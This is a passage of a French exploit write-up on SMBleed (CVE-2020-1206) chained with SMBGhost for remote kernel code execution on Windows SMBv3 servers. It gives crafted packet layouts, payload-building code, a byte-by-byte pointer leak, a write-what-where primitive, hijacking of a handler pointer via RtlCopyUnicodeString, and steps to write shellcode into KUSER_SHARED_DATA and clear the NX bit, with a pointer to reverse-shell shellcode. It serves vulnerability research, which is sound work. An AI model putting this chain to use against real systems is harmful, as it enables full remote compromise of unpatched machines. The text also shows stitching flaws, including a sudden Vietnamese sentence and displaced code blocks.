ULONG FinalCompressedSize = 0;


NTSTATUS Status = SmbCompressionDecompress(
    Header->CompressionAlgorithm,
    (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
    (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
    (PUCHAR)Alloc->UserBuffer + Header->Offset,
    Header->OriginalCompressedSegmentSize,
    &FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}


if (Header->Offset > 0) {
    memcpy(
        Alloc->UserBuffer,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
        Header->Offset);
}


Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;

La fonction Srv2DecompressData reçoit un message compressé envoyé par le client et alloue une zone mémoire nécessaire, puis décompresse le message dans cette zone. Ensuite, si le champ Offset est non nul, elle copie les données (RawData) précédant les données compressées au début de la zone mémoire allouée.

![](https://assets.kitploit.com/production/public/readmes/24502/a5bf8b5059336fb3677162343bace0d0b45085f2eb89e42d85f81e032fe233dc.png)

Le bug SMBGhost réside dans le fait que la fonction ne vérifie pas les dépassements d'entiers (integer overflow), ce qui conduit à une allocation de taille incorrecte et provoque un débordement de tampon (buffer overflow). Trois mois après que Microsoft a corrigé SMBGhost, la faille CVE-2020-1206 (SMBleed, selon la dénomination du [Zecops Blog](https://blog.zecops.com/)) a été découverte. Cette faille nous permet de fuiter l'adresse d'une autre machine et, combinée à SMBGhost, elle peut permettre d'obtenir une RCE. Pour avoir une vision plus simple de la fonction Srv2DecompressData, nous réutiliserons cette fonction telle qu'elle était avant le correctif de SMBGhost, tout en supposant qu'elle a été corrigée.

# Falsifier OriginalCompressedSegmentSize
Comme pour SMBGhost, cette fois nous allons également falsifier OriginalCompressedSegmentSize avec une valeur légèrement supérieure aux données décompressées que nous envoyons. Par exemple, si nous compressons des données d'une taille de x octets, au lieu de placer x dans le champ OriginalCompressedSegmentSize, nous y placerons x + 0x1000 ; l'image suivante sera plus claire :

![](https://assets.kitploit.com/production/public/readmes/24502/687d3bdc67e4b2f5bb3cecbe41ea52be98a5c904a8688b325a69acb0a854ca75.png)

Les données du noyau non initialisées seront considérées comme faisant partie du message.

Comme je l'ai dit dans l'analyse [CVE-2020-0796](https://github.com/datntsec/CVE-2020-0796), Srv2DecompressData ignore toujours la phase de vérification après la fonction SmbCompressionDecompress si la décompression réussit :``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}

NTSTATUS Status = RtlDecompressBufferEx2(
    ...,
    FinalUncompressedSize,
    ...);
if (status >= 0) {
    *FinalCompressedSize = CompressedBufferSize;
}

// ...

return Status;

Parce qu'après une décompression réussie, FinalCompressedSize est mis à jour pour contenir la valeur CompressedBufferSize (correspondant à OriginalCompressedSegmentSize passé à la fonction SmbCompressionDecompress). La mise à jour et la vérification ultérieures sont presque superflues, ce qui peut entraîner des erreurs inattendues.

# Exploitation de base

La structure de message utilisée par Zecops pour démontrer la vulnérabilité est le [message SMB2 WRITE](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8). Cette structure contient des champs tels que le nombre d'octets pouvant être écrits, le flag, ..., suivis d'un tampon de longueur arbitraire. C'est plutôt parfait pour exploiter la vulnérabilité, car on peut créer un message et spécifier l'en-tête, avec un tampon contenant des données non initialisées.

Basé sur le POC de [Zecops](https://blog.zecops.com/) sur le dépôt WindowsProtocolTestSuites de Microsoft, pour avoir une vision plus claire de cela, nous allons ajouter cette petite extension à la fonction de compression :``` c
// HACK: fake size
if (((Smb2SinglePacket)packet).Header.Command == Smb2Command.WRITE)
{
    ((Smb2WriteRequestPacket)packet).PayLoad.Length += 0x1000;
    compressedPacket.Header.OriginalCompressedSegmentSize += 0x1000;
}

Les pointeurs `UserBufferPtr`, `PoolAllocationPtr`, `pMdl1`, `pMdl2` pointent dans le bloc mémoire alloué dans le pool, avec des offsets qui peuvent être calculés à l'avance, il suffit donc d'en lire un seul. Le fait de disposer d'un pointeur vers le bloc mémoire alloué dans le pool nous sera certainement utile pour l'exploitation. Les pointeurs suivants sont également très importants :
- **ConnectionBufferList** : une liste chaînée de tous les buffers reçus mais pas encore traités pour une connexion. La tête de cette liste est un objet de connexion créé par la fonction SrvNetAllocateConnection dans srvnet.sys. Un buffer est ajouté à la liste par la fonction SrvNetWskReceiveComplete. Dans notre cas, il n'y aura qu'un seul buffer dans la liste, donc les deux pointeurs (Flink et Blink de la structure LIST_ENTRY) pointent tous deux vers la tête de liste à l'intérieur de l'objet de connexion.
- **pSrvNetWskStruct** : initialement, un pointeur vers l'objet de connexion mentionné ci-dessus. Le pointeur est défini par la fonction SrvNetWskReceiveEvent, mais il est écrasé par la fonction SrvNetWskReceiveComplete avec un pointeur vers la structure SRVNET_BUFFER_HDR. Par conséquent, le lire n'est pas plus utile que de lire l'un des quatre pointeurs mentionnés ci-dessus. Au passage, si vous cherchez « pSrvNetWskStruct », vous verrez qu'il joue un rôle dans l'exploitation d'EternalBlue.
- **TracingPtr1/2** : ces pointeurs ne sont utilisés que lorsque la fonctionnalité de tracing est activée.

![](https://assets.kitploit.com/production/public/readmes/24502/916c7b643fdf7c8967b2b80189a686858d4cceaf35ddb1f38b83a7ae92f7a14f.png)

Comme vous pouvez le voir, le seul autre pointeur utile à lire est un pointeur dans la structure ConnectionBufferList. Les deux pointeurs (Blink et Flink dans la structure LIST_ENTRY) pointent vers l'objet de connexion. Cet objet a été nommé SRVNET_RECV par le chercheur d'EternalBlue, nous utiliserons donc également ce nom.

## Obtenir une adresse de base de module
À présent, nous savons comment obtenir deux pointeurs — l'un vers le bloc mémoire alloué dans le pool et l'autre vers la structure SRVNET_RECV — nous pouvons donc modifier librement les deux buffers à l'aide de la primitive write-what-where. Il existe probablement plusieurs façons d'obtenir une exécution de code à distance (RCE), mais obtenir l'adresse de base d'un module est le choix le plus simple, car il y a beaucoup d'éléments que nous pouvons modifier dans la section data d'un module. Comme nous l'avons vu, aucun pointeur dans le bloc mémoire alloué par SrvNetAllocateBuffer ne pointe vers un module. Cependant, certains pointeurs pointent vers des modules :

![](https://assets.kitploit.com/production/public/readmes/24502/403108b6e79960d84369827376e208b606ba05304ae052ec4ae251cd289399a7.png)

Notre technique de lecture ne nous permet de lire que les données dans la zone « User Buffer », alors que ces pointeurs sont assez loin et sont référencés par de nombreux autres pointeurs. Nous avons besoin d'un extrait de code capable de faire ce qui suit pour copier la valeur du pointeur dans la zone « User Buffer » :``` c
ptr1 = *(pSrvNetRecv + offset1)
value = *ptr1
ptr2 = *(pSrvNetRecv + offset2)
*ptr2 = value

if (pMdl2->MdlFlags & 0x0020) {
    // MDL_PARTIAL_HAS_BEEN_MAPPED flag is set.
    MmUnmapLockedPages(pMdl2->MappedSystemVa, pMdl2);
}

if (Buffer->BufferFlags & 0x02) {
    if (Buffer->BufferFlags & 0x01) {
        pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
        pMdl1->ByteCount -= 0x50;
        pMdl1->ByteOffset += 0x50;
        pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER

        pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
        pMdl2->ByteCount = pMdl1->ByteCount;
        pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
        pMdl2->Size = /* some calculation */;
        pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL
    }

    Buffer->BufferFlags = 0;

    // ...

    pMdl1->Next = NULL;
    pMdl2->Next = NULL;

    // Return the buffer to the lookaside list.
} else {
    SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
    ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
}

Lors de la libération du tampon, si les flags du buffer sont définis à 0x02 (ce qui signifie que le buffer fait partie d'une lookaside list) et 0x01 (ce qui signifie que le buffer n'a pas d'en-tête de transport), un certain nombre d'opérations sont effectuées sur deux objets MDL afin d'ajouter l'en-tête de transport avant de redéfinir les flags à 0 et de renvoyer le buffer à la lookaside list. Si l'on examine de plus près les opérations effectuées sur les objets MDL, on remarque que le code réalise un double-dereference-read suivi d'un double-dereference-write sur deux variables que nous contrôlons (deux pointeurs MDL), ce qui est exactement ce que nous recherchons. L'inconvénient est que le contenu que nous voulons lire est également modifié, un effet secondaire que nous espérons éviter.

Avec ce qui précède, voici comment nous parvenons à lire le pointeur AcceptSocket :
1. Préparer le buffer A à partir d'une lookaside list de sorte que la zone « User buffer » soit remplie de zéros. La zone user buffer de ce buffer contiendra le pointeur que nous allons lire.
2. Préparer le buffer B à partir d'une autre lookaside list afin que :
- Le pointeur pMdl1 pointe vers l'adresse du pointeur AcceptSocket moins 0x18 (car l'offset de MappedSystemVa est 0x18 dans la structure MDL).
- Le pointeur pMdl2 pointe vers la zone « User buffer » du buffer A.
- Le champ Flags soit défini à 0x03.

Nous pouvons écraser les champs de la structure SRVNET_BUFFER_HDR en les décompressant depuis un buffer plus grand grâce à la technique décrite dans la section [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression) ci-dessus.

3. Lorsque le buffer B est libéré, les opérations suivantes se déroulent :
- Les flags MDL sont lus depuis le second MDL du buffer A. Si le flag MDL_PARTIAL_HAS_BEEN_MAPPED est défini, MmUnmapLockedPages sera appelé et le système risque de planter. C'est pourquoi nous devons remplir le buffer de zéros à l'étape 1.
- Le pointeur AcceptSocket et la mémoire qui l'entoure seront modifiés comme décrit ici :```
+00 |  00 00 00 00 00 00 00 00
+08 |  __ __ __|10 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  [+50..................]  <--  AcceptSocket
+20 |  __ __ __ __ __ __ __ __
+28 |  [-50......] [+50......]

- Vùng “User buffer” của buffer A sẽ được sửa đổi như được mô tả ở đây: (Các byte màu cam chứa con trỏ mà chúng ta muốn đọc, chúng ta chỉ cần sắp xếp chúng đúng cách)```
+00 |  00 00 00 00 00 00 00 00
+08 |  ?? ?? 04 00 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  __ __ __ __ __ __ __ __
+20 |  00 c0 ef gh ij kl mn op
+28 |  qr st uv wx ab 0d 00 00

Les deux premiers arguments sont lus à partir de la structure SRVNET_RECV, nous pouvons donc les contrôler, mais nous ne pouvons pas contrôler les arguments restants. La convention d'appel x86-64 spécifie que l'appelant est responsable de l'allocation et de la libération de l'espace de pile pour les arguments ; ainsi, même si l'appel d'une fonction à 8 arguments était prévu, nous pouvons remplacer le pointeur par n'importe quelle autre fonction.

![](https://assets.kitploit.com/production/public/readmes/24502/223827f49f26993604c20b873d75ea5b11d306a85ff5210ceb2583f0a0b9452c.png)

Voici les étapes que nous utiliserons pour déclencher l'appel de fonction :

1. Envoyer un message spécialement conçu pour que le pointeur de structure SRVNET_RECV de la connexion soit copié dans un buffer que nous pouvons lire.
2. Envoyer un autre message valide, qui réutilisera la même structure SRVNET_RECV, sans fermer la connexion. Notez que lorsque la connexion est fermée, la structure SRVNET_RECV n'est pas libérée. La fonction SrvNetPrepareConnectionForReuse est appelée pour réinitialiser la structure afin qu'elle puisse être réutilisée pour la prochaine connexion.
3. Lire le pointeur de structure SRVNET_RECV que nous avons copié à l'étape 1.
4. Remplacer le pointeur HandlerFunctions et les arguments en utilisant une primitive write-what-where.
5. Envoyer un message supplémentaire via la connexion de l'étape 2 afin que la fonction remplaçante de srv2!Srv2ReceiveHandler soit appelée.

Maintenant, tout ce que nous avons à faire est de trouver une fonction pour copier la mémoire d'un endroit à un autre, afin de pouvoir copier de la mémoire arbitraire dans un pool buffer que nous pouvons lire. memcpy est une option et srvnet.sys dispose d'une telle fonction (plus précisément memmove), mais cette fonction nécessite un troisième argument, celui qui détermine le nombre d'octets à copier, que nous ne contrôlons pas. Cependant, nous ne sommes pas limités aux fonctions implémentées dans srvnet.sys ; nous pouvons également appeler des fonctions depuis la table d'importation de srvnet, et la fonction RtlCopyUnicodeString est un choix parfait pour accomplir ce que nous voulons.

La fonction RtlCopyUnicodeString prend deux pointeurs UNICODE_STRING en arguments et copie le contenu de la chaîne source vers la chaîne destination. Contrairement aux chaînes C terminées par NULL, les chaînes du noyau sont définies par la structure UNICODE_STRING qui contient un pointeur vers la chaîne et la longueur de la chaîne en octets. Le buffer de la chaîne peut contenir des données binaires arbitraires. Si vous regardez le code de la fonction RtlCopyUnicodeString, vous pouvez voir que la copie est effectuée à l'aide de la fonction memmove, c'est-à-dire une copie pure de données binaires. Tout ce que nous avons à faire est de préparer deux structures UNICODE_STRING et d'appeler RtlCopyUnicodeString, puis de lire les données copiées :

![](https://assets.kitploit.com/production/public/readmes/24502/8a450b86ecf834ec4905a2bb72dab3781d1dd2ad56ee197a003e282180ce51bc.png)

## Exécution du shellcode

Après avoir obtenu une primitive de lecture arbitraire pratique, nous passons au défi suivant, vers l'objectif d'exécution de code à distance via l'exécution d'un shellcode. Nous utiliserons la technique présentée par Morten Schenk lors de sa présentation [Black Hat USA 2017](https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf) (pages 47-51).

L'idée est d'écrire un shellcode sous la structure KUSER_SHARED_DATA dont l'adresse est constante, la seule adresse non randomisée dans la disposition mémoire du noyau des versions récentes de Windows. Ensuite, il faut modifier l'entrée de table de pages correspondante pour rendre la page exécutable. L'adresse de base des entrées de table de pages dans le noyau est aléatoire, mais elle est récupérée depuis la fonction MiGetPteAddress dans ntoskrnl.exe. Voici les étapes que nous utiliserons pour exécuter notre shellcode :

1. Utiliser la primitive de lecture arbitraire pour obtenir l'adresse de base de ntoskrnl.exe à partir de la table d'importation de srvnet.
2. Lire l'adresse de base des entrées de table de pages depuis la fonction MiGetPteAddress, comme décrit dans les slides de Morten.
3. Écrire le shellcode à l'adresse KUSER_SHARED_DATA + 0x800 (0xFFFFF78000000800). Notez que nous pouvons également utiliser l'un des pool buffers pour stocker le shellcode ; utiliser KUSER_SHARED_DATA permet de simplifier les choses.
4. Calculer l'adresse de l'entrée de table de pages correspondante et effacer le bit NX pour permettre l'exécution, comme décrit dans les slides de Morten.
5. Appeler le shellcode en utilisant la technique présentée ci-dessus pour appeler une fonction arbitraire.

Le shellcode que Zecops utilise pour le reverse shell est le [shellcode de sleepya](https://github.com/worawit/MS17-010/tree/master/shellcode), écrit pour l'exploitation d'EternalBlue. Ils ont modifié ce shellcode pour qu'il fonctionne sur les versions récentes de Windows.

# Débogage

![](https://assets.kitploit.com/production/public/readmes/24502/916c7b643fdf7c8967b2b80189a686858d4cceaf35ddb1f38b83a7ae92f7a14f.png)

Les informations d'un paquet SMB ont une structure quasi identique à celle ci-dessus. Supposons que nous ayons besoin de fuiter l'adresse du User Buffer ; il nous faudra lire le pointeur UserBufferPtr. Pour lire ce pointeur, nous exploiterons la [technique](https://github.com/datntsec/CVE-2020-1206#srvnetallocatebuffer-and-the-allocated-buffer-layout) consistant à définir le champ offset à une valeur située au-delà du pointeur, afin que les données soient copiées dans la zone user buffer d'un autre buffer.

Un exemple de paquet SMB envoyé par le client a le contenu suivant :```c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0x0
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x2116
Data = ‘A’ * 0x1101.

Pourquoi faut-il créer un tel SMB, nous allons l'analyser point par point. D'abord, la somme de OriginalCompressedSegmentSize et Offset est 0x4100, ainsi un alloc avec un user buffer similaire sera réutilisé, c'est-à-dire l'Alloc B utilisé précédemment. Comme nous voulons deviner si 1 octet à l'adresse 0xffffd3843636f15e est supérieur à 0x7f ou non, cette adresse se situe à 0x210e de l'adresse du user buffer, donc les données non compressées auront 0x210e octets ('B' * 0x210e). Ensuite viendra une zone de données compressées valides (compressées par la fonction compress()), suivie de données compressées invalides ('\xff' * 0x1fe9). Ainsi, lors de la décompression, seule la partie des données compressées valides sera décompressée dans un autre alloc, puis la connexion sera interrompue en raison des données compressées invalides qui suivent, la zone de données non compressées ne sera pas copiée dans cet alloc, de sorte que les données que nous avons copiées précédemment seront conservées telles quelles.

![](https://assets.kitploit.com/production/public/readmes/24502/3e1ffd768b120645917e7f1757987f80c79514b52f3bc18e46fdfb0a2d2ca05f.png)

Ci-dessus se trouve un Alloc contenant les informations dont nous avons parlé, créé par le serveur SMB. Ensuite, le serveur SMB appellera la fonction SrvNetAllocateBuffer pour créer un Alloc correspondant. Comme la somme de OriginalCompressedSegmentSize et Offset est 0x4100, l'Alloc B sera réutilisé :

![](https://assets.kitploit.com/production/public/readmes/24502/5b218cbd142d58da175ee6a58bfc505646a560467db6db28ab70e0db34ee9ce3.png)

Ensuite, le serveur SMB procède à la décompression des informations envoyées par le client dans la zone user buffer de l'Alloc B correspondant à l'offset.

![](https://assets.kitploit.com/production/public/readmes/24502/f3b545366e8f3bcff6a69d184cc383bfcf70643c23ff0ac01ece1a95cc0fd88d.png)

Les données en rouge sont les données décompressées, le reste sera conservé tel quel. Comme le montre l'image ci-dessus, l'octet que nous devons connaître sera conservé, et juste après se trouvent les données qui viennent d'être décompressées.

Pour savoir si cet octet est supérieur à 0x7f ou non, nous procédons comme suit :

Nous continuons à créer un paquet SMB avec le contenu suivant :``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0x2004
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x20fd
Data = ‘B’ * 0x20f1

Du côté du serveur SMB, une allocation de stockage sera créée comme suit :

![](https://assets.kitploit.com/production/public/readmes/24502/3df2c6c8e5de90714455663bbb922efec7ae6888a970a3d65e389a28aea16837.png)

Ensuite, il appellera la fonction SrvNetAllocateBuffer pour allouer un bloc comme suit :

![](https://assets.kitploit.com/production/public/readmes/24502/51affc73361727907ada6fb3f439831d0e95cee531a65106fa79ce4519ceaab8.png)

Bien sûr, cette allocation est réutilisée à partir de l’allocation ayant la même lookaside list (Alloc B). Ensuite, le programme procède à une décompression normale avec les données compressées valides, et se déconnecte avec les données compressées invalides :

![](https://assets.kitploit.com/production/public/readmes/24502/01a9cc43acbc6b7cc283f40a0dbe348608a3566bfc34ce24aa2cc694315e67a3.png)

À l’étape suivante, on envoie à nouveau des données similaires à la fois précédente, et le serveur SMB alloue une allocation correspondante :

![](https://assets.kitploit.com/production/public/readmes/24502/ed438d4d0049b2188573e0fb3171cadf23701c7b0cef2de43a52434c07381341.png)

Les données colorées en vert ci-dessus sont celles de l’Alloc B allouée précédemment ; comme elles partagent la même lookaside list, elles sont réutilisées.

Ensuite, le serveur SMB appellera la fonction SrvNetAllocateBuffer pour allouer une allocation contenant les données après décompression :

![](https://assets.kitploit.com/production/public/readmes/24502/7ed3dca4594bd1772c44689190d4df3b597d43daf7c87edb281b3e82a834884e.png)

Lors de la décompression, le serveur SMB récupère les données à partir de l’adresse du buffer utilisateur + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d. Les données extraites se présentent comme suit :

![](https://assets.kitploit.com/production/public/readmes/24502/68f677093ef93e02c5df9d70dce560e4d06e74446970f1f14f1ad37f08ce898e.png)

Comme la fois précédente, la longueur initiale est 0xB0D3, et après calcul elle devient 0xD4. Il extrait ensuite les D4 octets suivants et procède à une décompression normale. Cependant, comme D4 < D7, les données compressées extraites pour la décompression ne contiennent alors que des octets à zéro. Il décompresse normalement jusqu’à la fin de ce bloc. Ensuite, il récupère la longueur du bloc suivant à partir de la longueur du bloc précédent ; les deux octets suivants, D5 et D6, valent 0x0, donc la longueur est maintenant 0x0. Par conséquent, la longueur extraite est 0x0000 → fin du processus de décompression → décompression réussie → le serveur SMB renvoie une réponse → on sait alors que l’octet recherché est inférieur ou égal à 0xD7.

On répète ce processus jusqu’à ce que les 6 octets d’une adresse soient entièrement révélés. On obtient ainsi l’allocation pool address.

Une fois l’allocation pool address obtenue, on recherche l’adresse de base de srvnet en récupérant le pointeur vers la structure SRVNET_RECV, de la même manière que pour révéler l’allocation pool address.

Après avoir obtenu les deux adresses — l’allocation pool et SRVNET_RECV, respectivement `0xffffd38439044000` et `0xffffd3843654ddd8` — on procède à la révélation de l’adresse de base de srvnet.

![](https://assets.kitploit.com/production/public/readmes/24502/403108b6e79960d84369827376e208b606ba05304ae052ec4ae251cd289399a7.png)

![](https://assets.kitploit.com/production/public/readmes/24502/239c0c59c0e492097bdaf2eac907812124a89ef8bb31841287202ae80f4d13d0.png)

Pour lire le pointeur AcceptSocket, il faut procéder comme suit :
1. Préparer une Alloc A depuis une lookaside list de sorte que la zone « User buffer » soit remplie de zéros. Ce buffer contiendra ensuite le pointeur que l’on souhaite lire. Ici, l’Alloc A sera issue de l’allocation correspondant à l’allocation pool address que l’on a révélée. Par conséquent, la zone User buffer de l’Alloc A commencera à l’adresse 0xffffd38439044050, en utilisant une lookaside list commune.
2. Préparer une Alloc B depuis une autre lookaside list afin que :
- Le pointeur pMdl1 pointe vers l’adresse du pointeur AcceptSocket moins 0x18 (car l’offset de MappedSystemVa est 0x18 dans la structure MDL).
- Le pointeur pMdl2 pointe vers la zone « User buffer » du Buffer A.
- Le champ Flags soit défini sur 0x03.

Ainsi, les adresses des deux pointeurs Mdl sont respectivement : mdl1_ptr : `0xffffd3843654de68`, mdl2_ptr : `0xffffd38439045250`.

On peut écraser les champs de la structure SRVNET_BUFFER_HDR en les décompressant depuis un buffer plus grand, grâce à la technique décrite dans la section [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression).

Je détaillerai cette étape juste après l’étape 4.

3. Lorsque le Buffer B est libéré, les opérations suivantes se déroulent :
- Les MDL flags sont lus depuis le second MDL dans le buffer A. Si le flag MDL_PARTIAL_HAS_BEEN_MAPPED est défini, MmUnmapLockedPages sera appelé et le système risque de planter. C’est pourquoi il faut remplir le buffer de zéros à l’étape 1.
- La zone « User buffer » de l’Alloc A est modifiée et contient les informations que l’on souhaite lire.
4. Lire le pointeur AcceptSocket depuis la zone « User buffer » du buffer A.
- Utiliser la technique de révélation d’adresse déjà employée ci-dessus pour lire le pointeur AcceptSocket.

Je vais maintenant décrire plus en détail les étapes ci-dessus :

L’étape 1 est assez simple et similaire à ce qui précède, je n’y reviendrai donc pas.

À l’étape 2, on commence par créer un paquet envoyé au serveur SMB avec le contenu suivant :``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = -0x38
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x10138
Data = ‘A’ * 0x10138 + compress(mdl1_ptr  + ‘\x00’*0x10 + mdl2_ptr) + ‘\xff’*0x10

Finalement, cela aura la forme :

![](https://assets.kitploit.com/production/public/readmes/24502/467ea07dff7cfaca7062ed50d1605e40586c412f40bcadaf01aa37d862efd3bd.png)

Lorsque Alloc B est libéré, les morceaux de code suivants seront exécutés :``` c
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl1->ByteCount -= 0x50;
pMdl1->ByteOffset += 0x50;
pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER

pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteCount = pMdl1->ByteCount;
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
pMdl2->Size = /* some calculation */;
pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL

Avec `allocation_pool_object_ptr` étant l'adresse du pool d'allocation leakée et `OFFSETS['srvnet!imp_IoSizeofWorkItem']` étant l'offset de la fonction IoSizeofWorkItem importée par srvnet.

Ces 2 structures UNICODE_STRING seront stockées à `allocation_pool_object_ptr + 0x1650` via la technique Write-what-where trouvée dans CVE-2020-0796. 
D'abord, nous allons stocker la chaîne Unicode de destination dans `allocation_pool_object_ptr + 0x1650`, puis nous créons le paquet SMB comme suit :``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0xffffffff
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x22
Data:
sentinel = os.urandom(2)  // 16 bits for verification
data = struct.pack('<HHIQ', desLength, desMaximumLength, 0, desBuffer)  // dest unicode string
data += struct.pack('<HHIQ', srcLength, srcMaximumLength, 0, srcBuffer) // src unicode string
data += sentinel
data_to_compress = os.urandom(0x1100 - len(data))
// 0x18 null bytes that override the struct.
data_to_compress += b'\x00'*0x18
// Target address.
data_to_compress += struct.pack('<Q', allocation_pool_object_ptr + 0x1650)
data = data + compress(data_to_compress)

Ainsi, lorsque le serveur SMB reçoit le paquet, il alloue la zone mémoire correspondante ; la zone allouée est alors allocation_pool_object_ptr et elle contient les données suivantes :

![](https://assets.kitploit.com/production/public/readmes/24502/24cc306a702cdb5f575bd1d612ea6b35db87aaf875fd45fa64977e50c61e85ed.png)

Après le processus de décompression, les données seront :

![](https://assets.kitploit.com/production/public/readmes/24502/d6442e5a936e1c46ebb9e3a4651e8859dca56c1aa09e9e79ed9155ea105dede2.png)

Nous avons donc créé 2 chaînes Unicode et deux sentinelles pour valider les données que nous avons leakées.

Ensuite, nous allons appeler la fonction `RtlCopyUnicodeString` et lui passer les deux chaînes Unicode ci-dessus.

Pour appeler la fonction `RtlCopyUnicodeString`, nous allons d'abord écraser le pointeur HandlerFunctions avec l'adresse de la fonction `RtlCopyUnicodeString`. Cette fonction est importée par le module srvnet et a un offset (selon mon module) de 0x32288.

Ainsi, avec la technique write-what-where, nous allons écrire l'adresse 0xFFFFF80060E70000 + 0x32288 - 0x8 dans HandlerFunctions.

Tout d'abord, nous allons leak un pointeur SRVNET_RECV (0xffffe00f0b593dd8).

![](https://assets.kitploit.com/production/public/readmes/24502/f7c5bde869eb5ba21a0b9dd4e2034417487150592178aa1eb1aef523e246a5c2.png)

Nous allons conserver la connexion pour continuer à envoyer les paquets ci-dessous.

Ensuite, nous allons utiliser la technique write-what-where pour écrire dans le pointeur RtlCopyUnicodeString - 0x8 (la raison de -0x8 est de faire en sorte que la fonction RtlCopyUnicodeString remplace la fonction Srv2ReceiveHandler dans HandlerFunctions)

![](https://assets.kitploit.com/production/public/readmes/24502/a88b44518f26ed6f0958772bdd4bf124c7c2403a525944b060a37cf17309a092.png)

Ensuite, nous allons écrire successivement les 2 pointeurs des 2 chaînes Unicode créées ci-dessus dans les 2 arguments de HandlerFunction

![](https://assets.kitploit.com/production/public/readmes/24502/691bdb0ce599face8b1f35393db9cc37e1f85a075c4d259a7fb96adee9fb66d2.png)

À ce stade, sur la même connexion, la fonction Srv2ReceiveHandler a été remplacée par RtlCopyUnicodeString ; par conséquent, lorsque nous envoyons un paquet, la fonction RtlCopyUnicodeString sera appelée et copiera la chaîne Unicode.

![](https://assets.kitploit.com/production/public/readmes/24502/2410149b163fd4ebbfb13fa5d2a127cafcfdc82146c33544b0a6cc6905c13d2b.png)

La prochaine étape consiste à leak 10 octets d'adresse de 0xffffd38439045670 à 0xffffd3843904567a (y compris les 2 sentinelles aux deux extrémités de l'adresse à leak). Ensuite, nous vérifions si les 2 octets au début et à la fin de l'adresse leakée sont bien des sentinelles ; si c'est le cas, nous avons leaké la bonne adresse (0xfffff8068152c380).

Après avoir leaké l'adresse nt!IoSizeofWorkItem (0xfffff8068152c380), nous soustrayons son offset (0x12C380) pour obtenir l'adresse de base de ntoskrnl (0xfffff80681400000)

Notez que chaque offset de chaque fichier module varie selon les versions de Windows ; assurez-vous donc d'avoir le bon fichier module sur la machine cible.

De même, une fois l'adresse de base de ntoskrnl obtenue, nous obtenons MiGetPteAddress (0xBA968) et l'adresse de base PTE (MiGetPteAddress + 0x13) :

![](https://assets.kitploit.com/production/public/readmes/24502/5c92df61b331c038bd90b2ccb878b7027bdbf6338602aecdda1b49a867eb42b1.png)

À l'étape suivante, nous allons écrire le shellcode à 0xFFFFF78000000800 en utilisant la technique write-what-where. Ensuite, nous recalculons l'adresse du shellcode dans la pte via la formule ci-dessous et effaçons le bit NX pour que le shellcode puisse être exécuté :``` c
shellcode_addr >>= 9
shellcode_addr &= 0x7FFFFFFFF8
shellcode_addr += pte_base